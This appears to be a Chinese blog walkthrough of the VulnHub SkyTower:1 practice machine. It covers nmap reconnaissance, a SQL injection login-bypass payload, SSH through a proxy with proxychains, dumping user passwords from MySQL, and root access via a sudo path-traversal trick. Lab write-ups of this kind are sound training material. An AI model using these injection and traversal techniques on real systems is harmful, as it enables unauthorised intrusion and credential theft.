vulnhub系列:SkyTower:1

vulnhub系列:SkyTower:1

靶机下载

一、信息收集

nmap扫描存活

nmap 192.168.23.0/24

01

nmap扫描端口,开放22、80、3128端口

nmap 192.168.23.171 -p- -sV -Pn -O

02

dirb目录扫描,没什么发现

dirb http://192.168.23.171/

03

访问80端口,有一个登录框,测试是否存在sql注入

04

这里有返回sql报错

05

尝试万能密码,经过尝试,发现有过滤一些字符,万能密码如下

1' || 1=1 #

成功登录,这里提示通过ssh连接,且给出了账号密码

john:hereisjohn

06

二、getshell

连接ssh,无法连接,之前扫描到的3128为代理端口,可能需要代理

ssh john@192.168.23.171

07

配置代理文件,在图中位置写入代理配置

vim /etc/proxychains4.conf

08

使用代理连接ssh,还是连接不上,加-t参数,强制分配伪终端,成功连接

proxychains ssh john@192.168.23.171 -t "/bin/sh"

09

三、提权

查看当前权限,没有可利用的

sudo -l

10

那么需要考虑从数据库入手,进入/var/www,查看文件

11

在login.php文件中,发现数据库账号密码

12

登录数据库

mysql -uroot -proot

13

查库名

show databases;

14

查看SkyTech库

use SkyTech;
show tables;

15

查看login表下内容

select * from login;

16

得到其他用户的账号密码

john:hereisjohn
sara:ihatethisjob
william:senseable

ssh进行连接,并查看权限

proxychains ssh sara@192.168.23.171 -t "/bin/sh"

sudo -l

17

cat 和 ls 命令在通过/accounts/目录后,是以root权限执行的,查看当前目录

sudo ls /accounts/..

18

先查看root目录下有没有东西

sudo ls /accounts/../root

19

发现一个flag.txt,查看其内容,得到root用户密码

sudo cat /accounts/../root/flag.txt

root:theskytower

20

ssh连接root,成功连接,提权成功

proxychains ssh root@192.168.23.171 -t "/bin/sh"

21

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值